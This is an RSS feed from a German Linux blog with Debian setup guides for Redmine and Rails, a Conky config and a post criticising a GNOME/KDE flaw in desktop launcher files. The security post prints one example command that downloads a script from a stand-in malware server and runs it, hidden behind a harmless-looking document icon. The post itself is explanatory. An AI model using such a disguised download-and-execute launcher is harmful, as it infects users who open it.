<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>martin-grandrath.de &#187; Linux</title>
	<atom:link href="http://martin-grandrath.de/themen/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://martin-grandrath.de</link>
	<description>Ein neues WordPress-Weblog</description>
	<lastBuildDate>Fri, 23 Oct 2009 22:35:41 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Redmine mit MySQL und Apache unter Debian Lenny</title>
		<link>http://martin-grandrath.de/2009/08/redmine-mit-mysql-und-apache-unter-debian-lenny/</link>
		<comments>http://martin-grandrath.de/2009/08/redmine-mit-mysql-und-apache-unter-debian-lenny/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 10:53:00 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Lenny]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Redmine]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[Ticketsystem]]></category>

		<guid isPermaLink="false">http://martin-grandrath.de/?p=185</guid>
		<description><![CDATA[Das auf Rails aufsetzende Ticketsystem Redmine bietet unter anderem ein integriertes Wiki, eine Dateiverwaltung sowie Anbindungen an diverse Versions-Verwaltungs-Systeme.  In diesem Artikel möchte ich zeigen, wie Redmine unter Debian Lenny installiert und mit MySQL-Anbindung sowie Apache2 und mod_fcgid konfiguriert werden kann.
Ich gehe im Folgenden von einer Lenny-Basisinstallation aus, d.h. es sind keine Pakete aus [...]]]></description>
			<content:encoded><![CDATA[<p>Das auf Rails aufsetzende Ticketsystem <a href="http://www.redmine.org/" rel="external">Redmine</a> bietet unter anderem ein integriertes Wiki, eine Dateiverwaltung sowie Anbindungen an diverse Versions-Verwaltungs-Systeme.  In diesem Artikel möchte ich zeigen, wie Redmine unter Debian Lenny installiert und mit MySQL-Anbindung sowie Apache2 und mod_fcgid konfiguriert werden kann.</p>
<p>Ich gehe im Folgenden von einer Lenny-Basisinstallation aus, d.h. es sind keine Pakete aus Fremdquellen oder ähnliches installiert.  Der Server, auf dem Redmmine aufgesetzt wird, ist unter dem Namen redmine.example.com erreichbar und nimmt auf localhost:25 Mails ohne Authentifizierung entgegen.  MySQL und Apache müssen noch nicht installiert sein.</p>
<p>Als erstes sollten Ruby, Rubygems und Rails installiert und eingerichtet werden, wie ich es <a href="/2009/02/ruby-on-rails-22-unter-debian-lenny-installieren/">in einem früheren Artikel</a> beschrieben habe.  Die Pfade in den weiteren Schritten beziehen sich auf diese Konfiguration.</p>
<h3>MySQL</h3>
<p>Als erstes werden die für MySQL benötigten Debian-Pakete installiert:</p>
<pre class="code code-cli"><kbd># aptitude install mysql-server build-essential ruby1.8-dev libmysqlclient15-dev
</kbd></pre>
<p>Als nächstes das gem für die Ruby-MySQL-Anbindung:</p>
<pre class="code code-cli"><kbd># gem install mysql
</kbd></pre>
<h3>Redmine installieren</h3>
<p>Das Verzeichnis für die Redmine-Dateien kann frei gewählt werden (ich verwende /srv/www/redmine).  Die einzige Voraussetzung ist, dass der Webserver Leserechte für diesen Pfad besitzt.</p>
<h4>Download und Installation</h4>
<p>Die aktuelle Version von Redmine kann bei <a href="http://rubyforge.org/frs/?group_id=1850" rel="external">Rubyforge</a> heruntergeladen werden. Die derzeit aktuelle Version ist 0.8.4.</p>
<pre class="code code-cli"><kbd># mkdir -p /srv/www/
# cd /srv/www/
# wget http://rubyforge.org/frs/download.php/56909/redmine-0.8.4.tar.gz
# tar xvzf redmine-0.8.4.tar.gz
# mv redmine-0.8.4 redmine
# cd redmine
</kbd></pre>
<p>Nun müssen die Zugriffsrechte gesetzt werden, so dass der Webserver (www-data) schreibend auf files/, log/, tmp/ und public/plugin_assets/ zugreifen kann:</p>
<pre class="code code-cli"><kbd># mkdir tmp public/plugin_assets
# chgrp -R www-data files log tmp public/plugin_assets
# chmod -R g+w files log tmp public/plugin_assets
</kbd></pre>
<h4>Leere Datenbank einrichten</h4>
<p>Als erstes wird eine leere Datenbank sowie ein User mit jeweils dem Namen &#8216;redmine&#8217; angelegt.  Dem neuen User werden volle Zugriffsrechte auf die Datenbank gegeben:</p>
<pre class="code code-cli"><kbd># mysql -uroot -p
mysql> create database redmine character set utf8;
mysql> create user 'redmine'@'localhost' identified by 'my_password';
mysql> grant all privileges on redmine.* to 'redmine'@'localhost';
</kbd></pre>
<h4>Anpassen der Konfiguration</h4>
<p>Damit Redmine auf die Datenbank zugreifen kann, müssen die Zugangsdaten entsprechend eingetragen werden:</p>
<pre class="code code-cli"><kbd># cp config/database.yml.example config/database.yml
</kbd></pre>
<p>In der Datei config/database.yml muss der Abschnitt &#8216;production&#8217; angepasst werden:</p>
<pre class="code code-yml"><code>production:
  adapter: mysql
  database: redmine
  host: localhost
  username: redmine
  password: my_password
  encoding: utf8
</code></pre>
<p>Die anderen Abschnitte sind nur dann interessant, wenn man Redmine in einer anderen als der &#8216;production&#8217;-Umgebung betreiben möchte. Ansonsten können sie bleiben wie sie sind.</p>
<h4>Die Datenbank befüllen</h4>
<p>Nun kann Redmine auf die Datenbank zugreifen und das Schema kann per Rake-Task angelegt werden:</p>
<pre class="code code-cli"><kbd># rake db:migrate RAILS_ENV="production"
</kbd></pre>
<p>Es empfiehlt sich, die Default-Konfiguration ebenfalls zu laden, dies ist aber optional:</p>
<pre class="code code-cli"><kbd># rake redmine:load_default_data RAILS_ENV="production"
</kbd></pre>
<h4>Testen der Installation</h4>
<p>An dieser Stelle kann die Installation bereits mit dem WEBrick Webserver getestet werden:</p>
<pre class="code code-cli"><kbd># ruby script/server webrick -e production
</kbd></pre>
<p>Redmine sollte unter der Adresse redmine.example.com:3000 erreichbar sein und ein login (User: admin, Passwort: admin) sollte ebenfalls möglich sein.  Hinweis: Damit der Login nicht fehlschlägt, müssen (Session-)Cookies akzeptiert werden.</p>
<p>Mit <kbd>Ctrl-C</kbd> wird der Webserver wieder beendet.</p>
<h4>SMTP Konfiguration</h4>
<p>Soll Redmine E-Mails versenden können, muss eine weitere Konfigurationsdatei angepasst werden:</p>
<pre class="code code-cli"><kbd># cp config/email.yml.example config/email.yml
</kbd></pre>
<p>Hier muss ebenfalls der Abschnitt &#8216;production&#8217; bearbeitet werden:</p>
<pre class="code code-yml"><code>production:
  delivery_method: :smtp
  smtp_settings:
    address: localhost
    port: 25
    domain: example.com
    authentication: :none
</code></pre>
<h3>Apache installieren</h3>
<p>Für diesen Teil der Installation musste ich recht lange herumprobieren, bis das Gespann aus Rails, mod_fcgid und Apache korrekt funktioniert hat.  Bei diesem Zusammenspiel kann leider allzuviel schiefgehen.</p>
<p>Zunächst wird das CGI-Script an Ort und Stelle gebracht:</p>
<pre class="code code-cli"><kbd># cp public/dispatch.fcgi.example public/dispatch.fcgi
</kbd></pre>
<p>Eine weitere Anpassung ist nicht notwendig.</p>
<p>Es folgen die benötigten Debian-Pakete&#8230;</p>
<pre class="code code-cli"><kbd># aptitude install apache2 libapache2-mod-fcgid libfcgi-dev
</kbd></pre>
<p>&#8230; sowie ein weiteres gem:</p>
<pre class="code code-cli"><kbd># gem install fcgi
</kbd></pre>
<p><ins datetime="2009-10-23T22:23:48+00:00"><strong>[Update 24.10.09: </strong>Als ich kürzlich auf Version 0.8.5 umgestellt habe, habe ich bemerkt, dass ich hier einen Schritt unterschlagen habe, den ich hiermit nachreichen möchte. Und zwar müssen in der public/.htaccess folgende Zeilen auskommentiert werden:</p>
<pre class="code code-file"><code>#&lt;IfModule mod_cgi.c&gt;
#       AddHandler cgi-script .cgi
#&lt;/IfModule&gt;
</code></pre>
<p>und</p>
<pre class="code code-file"><code>#&lt;IfModule mod_cgi.c&gt;
#       RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
#&lt;/IfModule&gt;
</code></pre>
<p>Ansonsten schreibt Apache den Request bis zum Erreichen des Limits immer wieder um und produziert einen Internal Server Error.<strong>]</strong></ins></p>
<p>Zuletzt wird der Virtual Host redmine.example.com konfiguriert.  Dazu wird die Datei /etc/apache2/sites-available/redmine mit folgendem Inhalt angelegt:</p>
<pre class="code code-file"><code>&lt;VirtualHost *:80&gt;
  ServerName redmine.example.com
  ServerAlias redmine

  ServerAdmin webmaster@localhost

  DocumentRoot /srv/www/redmine/public/

  &lt;IfModule mod_fcgid.c&gt;
    DefaultInitEnv RAILS_ENV production
    DefaultInitEnv GEM_HOME /var/local/lib/gems
    DefaultInitEnv RUBYLIB /usr/local/ruby/lib/
  &lt;/IfModule&gt;

  &lt;Directory /srv/www/redmine/public/&gt;
    Options Indexes ExecCGI FollowSymLinks
    Order allow,deny
    Allow from all
    AllowOverride all
  &lt;/Directory&gt;

  ErrorLog /var/log/apache2/redmine_error.log
  LogLevel warn
  CustomLog /var/log/apache2/redmine_access.log combined
&lt;/VirtualHost&gt;
</code></pre>
<p>Nun muss nur noch die Konfiguration geladen und das Modul rewrite aktiviert werden:</p>
<pre class="code code-cli"><kbd># a2ensite redmine
# a2enmod rewrite
# /etc/init.d/apache2 restart
</kbd></pre>
<p>Wenn nichts schiefgegangen ist, steht Redmine jetzt unter redmine.example.com/ bereit.  Für die weitere Konfiguration und die ersten Schritte lohnt sich ein Blick ins <a href="http://www.redmine.org/wiki/redmine/Guide" rel="external">Redmine Manual</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2009/08/redmine-mit-mysql-und-apache-unter-debian-lenny/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Ruby on Rails 2.2 unter Debian Lenny installieren</title>
		<link>http://martin-grandrath.de/2009/02/ruby-on-rails-22-unter-debian-lenny-installieren/</link>
		<comments>http://martin-grandrath.de/2009/02/ruby-on-rails-22-unter-debian-lenny-installieren/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 14:57:54 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Lenny]]></category>
		<category><![CDATA[Ruby on Rails]]></category>

		<guid isPermaLink="false">http://martin-grandrath.de/?p=82</guid>
		<description><![CDATA[Hier eine kurze Anleitung, wie man RoR 2.2 unter Debian installieren kann.  Besonderen Wert habe ich dabei darauf gelegt, den &#187;Debian-Way&#171; soweit es eben geht einzuhalten und alle Dateien, die nicht aus deb-Paketen stammen, unter /usr/local/ bzw. /var/local/ abzulegen, um sie bei Bedarf wieder sauber entfernen zu können.
Fangen wir mit den Paketen an, die [...]]]></description>
			<content:encoded><![CDATA[<p>Hier eine kurze Anleitung, wie man RoR 2.2 unter Debian installieren kann.  Besonderen Wert habe ich dabei darauf gelegt, den &raquo;Debian-Way&laquo; soweit es eben geht einzuhalten und alle Dateien, die nicht aus deb-Paketen stammen, unter <code>/usr/local/</code> bzw. <code>/var/local/</code> abzulegen, um sie bei Bedarf wieder sauber entfernen zu können.</p>
<p>Fangen wir mit den Paketen an, die direkt aus den Repositories bezogen werden können und die für die weitere Installation notwendig sind:</p>
<pre class="code">
# aptitude install ruby libsqlite3-ruby libruby rdoc1.8 libopenssl-ruby
</pre>
<p>Die in Lenny enthaltene Version von rubygems ist leider zu alt, weswegen es manuell installiert werden muss:</p>
<pre class="code">
# wget http://rubyforge.org/frs/download.php/45905/rubygems-1.3.1.tgz
# tar xzf rubygems-1.3.1.tgz
# cd rubygems-1.3.1
# export GEM_HOME=/var/local/lib/gems
# ruby setup.rb --prefix=/usr/local/ruby
</pre>
<p><strong>Anm:</strong> Die aktuellste Version findet sich unter <a href="http://rubyforge.org/frs/?group_id=126" rel="external">http://rubyforge.org/frs/?group_id=126</a>.</p>
<p>Damit die installierten Dateien auch gefunden werden können, müssen die folgenden Zeilen in <code>/etc/profile</code> eingefügt werden (vor <code>export $PATH</code>):</p>
<pre class="code">
if [ -d /usr/local/ruby/bin ]; then
  PATH="${PATH}:/usr/local/ruby/bin"
fi

if [ -d /usr/local/ruby/lib/ ]; then
  export RUBYLIB="${RUBYLIB}:/usr/local/ruby/lib/"
fi

if [ -d /var/local/lib/gems ]; then
  export GEM_HOME=/var/local/lib/gems

  if [ -d /var/local/lib/gems/bin ]; then
    PATH="${PATH}:/var/local/lib/gems/bin"
  fi
fi
</pre>
<p>Damit das veränderte environment zum Tragen kommt, muss man sich entweder aus- und wieder einloggen oder <code>/etc/profile</code> sourcen:</p>
<pre class="code">
# . /etc/profile
</pre>
<p>Wenn man möchte, kann man noch einen Symlink für gem anlegen:</p>
<pre class="code">
# cd /usr/local/ruby/bin/
# ln -s gem1.8 gem
</pre>
<p>Nun steht einer Installation von Rails mit Hilfe von rubygems nichts mehr im Wege:</p>
<pre class="code">
# gem install rails
</pre>
<p>Ab hier kann man z.B. mit dem <del datetime="2009-03-13T15:13:36+00:00"><a href="http://guides.rubyonrails.org/getting_started_with_rails.html" rel="external">Ruby on Rails Tutorial</a></del> <a href="http://guides.rubyonrails.org/getting_started.html" rel="external">Ruby on Rails Tutorial</a> weitermachen.</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2009/02/ruby-on-rails-22-unter-debian-lenny-installieren/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Sicherheitslücke in Gnome und KDE</title>
		<link>http://martin-grandrath.de/2009/02/sicherheitsluecke-in-gnome-und-kde/</link>
		<comments>http://martin-grandrath.de/2009/02/sicherheitsluecke-in-gnome-und-kde/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 16:00:48 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://martin-grandrath.de/?p=76</guid>
		<description><![CDATA[Foobar beschreibt in seinem Blog eine Sicherheitslücke, die sowohl Gnome- als auch KDE-Desktops betrifft.  Das Problem besteht in den so genannten &#187;launchers&#171; (Starter), die dazu dienen, Verknüpfungen zu Programmen auf dem Desktop bzw. im Panel abzulegen.  Es handelt sich dabei um einfache Textdateien mit folgendem Aufbau (hier auf das Wesentliche gekürzt):

[Desktop Entry]
Icon=ooo-writer
Type=Application
Exec=ooffice -writer
Name=OpenOffice.org [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.geekzone.co.nz/foobar" rel="external">Foobar</a> beschreibt in seinem Blog eine Sicherheitslücke, die sowohl Gnome- als auch KDE-Desktops betrifft.  Das Problem besteht in den so genannten &raquo;launchers&laquo; (Starter), die dazu dienen, Verknüpfungen zu Programmen auf dem Desktop bzw. im Panel abzulegen.  Es handelt sich dabei um einfache Textdateien mit folgendem Aufbau (hier auf das Wesentliche gekürzt):</p>
<pre class="code">
[Desktop Entry]
Icon=ooo-writer
Type=Application
Exec=ooffice -writer
Name=OpenOffice.org Writer
</pre>
<p>Wird diese Datei z.B. unter dem Namen <code>ooo-writer.desktop</code> auf dem Desktop abgelegt, wird sie mit dem Writer-Icon und dem Text &raquo;OpenOffice.org Writer&laquo; angezeigt und startet <code>ooffice -writer</code> bei einem Doppelklick.  So weit so gut.</p>
<p>Das Problem besteht darin, dass erstens die Anweisung hinter <code>Exec=</code> beliebigen Shellcode enthalten kann und zweitens das <code>x</code>-Flag (executable) <em>nicht</em> gesetzt sein muss, damit dieser Code zur Ausführung gebracht wird.  Hinzu kommt, dass auch das Icon und der angezeigte Text beliebig manipulierbar sind und dass der Anwender keinerlei Hinweis bekommt was passiert, wenn er einen Doppelklick auf diesem Icon ausführt &ndash; außer er öffnet den Dialog &raquo;Eigenschaften&laquo;.  Im Klartext heißt das, dass ein solcher Launcher ein Writer-Symbol und den Text &raquo;harmloses_Dokument.odt&laquo; anzeigen, bei einem Doppelklick aber eine Zeile wie diese ausführen kann:</p>
<pre class="code">bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"</pre>
<p>Die Möglichkeiten sollten klar sein.</p>
<p>Sowohl auf <a href="http://www.geekzone.co.nz/foobar/6229" rel="external">Foobars Blogartikel</a> als auch bei <a href="http://it.slashdot.org/it/09/02/17/1526244.shtml" rel="external">Slashdot</a> gab es viele Reaktionen.  Leider hat sich ein Großteil der anschließenden Diskussionen damit auseinandergesetzt, dass der verwendete Begriff &raquo;Virus&laquo; nicht korrekt sei (dem ich auch zustimmen würde) und dass man Anwender grundsätzlich nicht vor sich selber schützen kann.  Das zentrale Problem wurde aber meines Erachtens nur unzureichend behandelt.  Natürlich kann (und sollte) ein Betriebssystem (bzw. in diesem Fall eine Desktopumgebung) nicht versuchen, dem Anwender das Denken abzunehmen und wenn der User kundtut &raquo;ich möchte, dass $CODE ausgeführt wird&laquo;, dann sollte eben auch genau das passieren.  <em>Aber</em>: eine graphische Oberfläche, die es ermöglicht, einen potenziell schädlichen Code aus beliebiger Quelle optisch als gewöhnliche Datei erscheinen zu lassen, ist in meinen Augen schlicht und ergreifend kaputt.</p>
<p>Das Problem ist nicht neu, sondern im Gegenteil <a href="http://lwn.net/Articles/178409/" rel="external">seit 2006</a> bekannt und ich begreife nicht, warum die Gnome- und KDE-Entwickler nicht darauf reagieren.  Was spricht dagegen, den im Launcher angegebenen Befehl nur dann auszuführen, wenn das <code>x</code>-Flag gesetzt ist?</p>
<p>Einen Schutz (etwa das Deaktivieren dieser Funktionalität) scheint es nicht zu geben, sondern es bleibt einem nur übrig, einen anderen Desktop zu verwenden oder vor dem Öffnen einer vermeintlichen Office-Datei, die man per Mail erhalten hat, dreimal hinzusehen.</p>
<p>(via <a href="http://www.geekzone.co.nz/foobar/6229" rel="external">How to write a Linux virus in 5 easy steps</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2009/02/sicherheitsluecke-in-gnome-und-kde/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Gears unter Iceweasel (Debian) installieren</title>
		<link>http://martin-grandrath.de/2009/02/google-gears-unter-iceweasel-debian-installieren/</link>
		<comments>http://martin-grandrath.de/2009/02/google-gears-unter-iceweasel-debian-installieren/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 09:59:50 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Google Gears]]></category>
		<category><![CDATA[Iceweasel]]></category>

		<guid isPermaLink="false">http://martin-grandrath.de/?p=72</guid>
		<description><![CDATA[Ich wollte mir Google Gears auf meiner Debian-Box installieren, weil ich neugierig auf das &#187;Turbo&#171;-Feature von WordPress war.  Die offizielle Gears-Website hat mir aber nur die lapidare Meldung Your Browser is currently not supported ausgespuckt.  Keine weiteren Hinweise oder gar ein Downloadlink.  Die Ursache ist, dass die User-Agent-Kennung nur auf &#187;Firefox&#171; hin [...]]]></description>
			<content:encoded><![CDATA[<p>Ich wollte mir Google Gears auf meiner Debian-Box installieren, weil ich neugierig auf das &raquo;Turbo&laquo;-Feature von WordPress war.  Die offizielle <a href="http://gears.google.com/" rel="external">Gears-Website</a> hat mir aber nur die lapidare Meldung <q>Your Browser is currently not supported</q> ausgespuckt.  Keine weiteren Hinweise oder gar ein Downloadlink.  Die Ursache ist, dass die User-Agent-Kennung nur auf &raquo;Firefox&laquo; hin geprüft wird und der baugleiche und eben nur anders benannte Iceweasel nicht als unterstützt erkannt wird.</p>
<p>Nach einigem googlen habe ich schließlich einen Link auf <a href="http://gears.google.com/terms.html?platform=linux" rel="external">http://gears.google.com/terms.html?platform=linux</a> gefunden, wo das Firefox/Iceweasel-Addon klaglos installiert werden kann.</p>
<p>Bin gespannt, was der &raquo;Turbo&laquo; so bringt&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2009/02/google-gears-unter-iceweasel-debian-installieren/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How does your Conky setup look like?</title>
		<link>http://martin-grandrath.de/2008/05/how-does-your-conky-setup-look-like/</link>
		<comments>http://martin-grandrath.de/2008/05/how-does-your-conky-setup-look-like/#comments</comments>
		<pubDate>Thu, 15 May 2008 08:59:54 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Conky]]></category>
		<category><![CDATA[Konfiguration]]></category>
		<category><![CDATA[Screenshot]]></category>
		<category><![CDATA[Setup]]></category>
		<category><![CDATA[Themes]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=48</guid>
		<description><![CDATA[Pavs shows his Conky configuration and asks for other examples.  Here is mine:


# conky configuration ~/.conkyrc

# set to yes if you want Conky to be forked in the background
background no

# Use Xft?
use_xft yes

# Xft font when Xft is enabled
#xftfont Bitstream Vera Sans Mono:size=8
xftfont Terminus:size=8

# Text alpha when using Xft
xftalpha 0.8

# Print everything to console?
# [...]]]></description>
			<content:encoded><![CDATA[<p>Pavs shows his <a href="http://conky.sourceforge.net/" rel="external">Conky</a> configuration and <a href="http://www.linuxhaxor.net/2008/05/14/how-does-your-conky-setup-look-like/" rel="external">asks</a> for other examples.  Here is mine:</p>
<p><a href='http://www.martin-grandrath.de/wp-content/uploads/2008/05/screenshot_2008-05-15.jpg'><img src="http://www.martin-grandrath.de/wp-content/uploads/2008/05/screenshot_2008-05-15-300x240.jpg" alt="Screenshot of my desktop running fvwm and conky" title="Screenshot of my desktop running fvwm and conky" width="300" height="240" class="aligncenter size-medium wp-image-49" /></a></p>
<p><span id="more-48"></span></p>
<pre class="code"># conky configuration ~/.conkyrc

# set to yes if you want Conky to be forked in the background
background no

# Use Xft?
use_xft yes

# Xft font when Xft is enabled
#xftfont Bitstream Vera Sans Mono:size=8
xftfont Terminus:size=8

# Text alpha when using Xft
xftalpha 0.8

# Print everything to console?
# out_to_console no

# mail spool
mail_spool $MAIL

# Update interval in seconds
update_interval 2.0

# This is the number of times Conky will update before quitting.
# Set to zero to run forever.
total_run_times 0

# Create own window instead of using desktop (required in nautilus)
own_window no

# Use double buffering (reduces flicker, may not work for everyone)
double_buffer yes

# Maximum width of window
maximum_width 140

# Minimum size of text area
minimum_size 140 5

# Draw shades?
draw_shades yes

# Draw outlines?
draw_outline no

# Draw borders around text
draw_borders no

# Stippled borders?
stippled_borders 8

# border margins
border_margin 0

# border width
border_width 1

# Default colors and also border colors
default_color white
default_shade_color black
default_outline_color white

# Text alignment, other possible values are commented
#alignment top_left
alignment top_right
#alignment bottom_left
#alignment bottom_right

# Gap between borders of screen and text
# same thing as passing -x at command line
gap_x 20
gap_y 5

# Subtract file system buffers from used memory?
no_buffers yes

# set to yes if you want all text to be in uppercase
uppercase no

# number of cpu samples to average
# set to 1 to disable averaging
cpu_avg_samples 2

# number of net samples to average
# set to 1 to disable averaging
net_avg_samples 2

# Force UTF8? note that UTF8 support required XFT
override_utf8_locale yes

# Add spaces to keep things from moving about?  This only affects certain objects.
use_spacer yes
#Note: doesn't work in conky 1.2 =(

# stuff after 'TEXT' will be formatted on screen

TEXT
${color slate grey}${time %a, } ${color }${time %e %B %G}
${color slate grey}${time %Z,    }${color }${time %H:%M:%S}
${color slate grey}UpTime: ${color }$uptime
${color slate grey}Kern:${color }$kernel
${color slate grey}CPU:${color } $cpu% ${acpitemp}C
${cpugraph 20,130 000000 ffffff}
${color slate grey}Load: ${color }$loadavg
${color slate grey}Processes: ${color }$processes
${color slate grey}Running:   ${color }$running_processes

${color slate grey}Highest CPU:
${color #ddaa00} ${top name 1}${top_mem cpu 1}
${color lightgrey} ${top name 2}${top cpu 2}
${color lightgrey} ${top name 3}${top cpu 3}
${color lightgrey} ${top name 4}${top cpu 4}

${color slate grey}Highest MEM:
${color #ddaa00} ${top_mem name 1}${top_mem mem 1}
${color lightgrey} ${top_mem name 2}${top_mem mem 2}
${color lightgrey} ${top_mem name 3}${top_mem mem 3}
${color lightgrey} ${top_mem name 4}${top_mem mem 4}

${color slate grey}MEM:  ${color } $memperc%
${membar 3,100}
${color slate grey}SWAP: ${color }$swapperc%
${swapbar 3,100}

${color slate grey}NET:
${color}Up: ${color }${upspeed eth0} k/s
${upspeedgraph eth0 20,130 000000 ffffff}
${color}Down: ${color }${downspeed eth0}k/s${color}
${downspeedgraph eth0 20,130 000000 ffffff}

${color slate grey}Mail:
${color lightgrey} ${new_mails} Inbox
${color lightgrey} ${new_mails $MAIL/some_maildir_folder/} More mail
# ... other mailboxes in the same fashion</pre>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/05/how-does-your-conky-setup-look-like/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linux für Webworker</title>
		<link>http://martin-grandrath.de/2008/05/linux-fuer-webworker/</link>
		<comments>http://martin-grandrath.de/2008/05/linux-fuer-webworker/#comments</comments>
		<pubDate>Fri, 09 May 2008 11:28:09 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Surftipp]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=45</guid>
		<description><![CDATA[Peter Kröner hat eine (bis jetzt) dreiteilige Artikelserie unter dem Titel Linux für Webworker veröffentlicht.  Im ersten Teil geht er auf ganz allgemeine Aspekte zum Thema Linux ein, erläutert was Linux bzw. GNU/Linux eigentlich ist und welche Gründe dafür oder dagegen sprechen sich mit Linux auseinanderzusetzen.  Anschließend zeigt er in Teil&#160;2 am Beispiel [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.peterkroener.de/" rel="external">Peter Kröner</a> hat eine (bis jetzt) dreiteilige Artikelserie unter dem Titel <a href="http://www.peterkroener.de/linux-fuer-webworker-teil-1-was-linux-ist-und-warum-man-sich-dafuer-interessieren-sollte/" rel="external">Linux für Webworker</a> veröffentlicht.  Im ersten Teil geht er auf ganz allgemeine Aspekte zum Thema Linux ein, erläutert was Linux bzw. GNU/Linux eigentlich ist und welche Gründe dafür oder dagegen sprechen sich mit Linux auseinanderzusetzen.  Anschließend zeigt er in <a href="http://www.peterkroener.de/linux-fuer-webworker-teil-2-unverbindliches-ausprobieren/" rel="external">Teil&nbsp;2</a> am Beispiel von Ubuntu wie man ein GNU/Linux-System mit Hilfe einer Live-CD unverbindlich und gefahrlos ausprobieren kann und stellt schließlich im <a href="http://www.peterkroener.de/linux-fuer-webworker-teil-3-programme-programme-programme/" rel="external">3.&nbsp;Teil</a> eine umfassende Liste verschiedener Programme in den Kategorien &raquo;Grafik und Design&laquo;, &raquo;IDEs und Editoren&laquo; und &raquo;Tools&laquo; vor.  Auch das Multimedia-Komplettpaket <a href="http://ubuntustudio.org/" rel="external">Ubuntu Studio</a> findet ebenso Erwähnung wie die Möglichkeit Windows-Software unter <a href="http://www.winehq.org/" rel="external">wine</a> zu betreiben. Eine ausführliche Beschreibung von wine ist für Teil&nbsp;4 angekündigt.  Man darf gespannt sein&#8230;</p>
<p><strong>Update:</strong> Kurz nachdem ich dieses Posting geschrieben hatte, ist nun auch der <a href="http://www.peterkroener.de/linux-fuer-webworker-teil-4-photoshop-und-andere-windows-anwendungen-unter-linux/">4.&nbsp;Teil</a> erschienen.  Er befasst sich wie angekündigt mit unterschiedlichen Möglichkeiten, Windows-Programme unter Linux zu nutzen und enthält ein Mini-HOWTO zur Installation von Photoshop unter Ubuntu mit Hilfe von wine.</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/05/linux-fuer-webworker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote-Desktop per VNC mit Debian</title>
		<link>http://martin-grandrath.de/2008/05/remote-desktop-per-vnc-mit-debian/</link>
		<comments>http://martin-grandrath.de/2008/05/remote-desktop-per-vnc-mit-debian/#comments</comments>
		<pubDate>Thu, 08 May 2008 12:35:18 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Netzwerk]]></category>
		<category><![CDATA[Remote Desktop]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[VNC]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=44</guid>
		<description><![CDATA[Ich betreue diverse Desktop-Computer von Anwendern, die (wie soll ich sagen) &#187;unbedarft&#171; in Sachen PC-Bedienung sind.  Daher kommt es bisweilen vor, dass mich Anfragen erreichen, die nur schwer oder gar nicht per E-Mail oder Telefon aus der Ferne zu beantworten sind.  Aus diesem Grund habe ich nach einer Möglichkeit gesucht, mir bei Bedarf [...]]]></description>
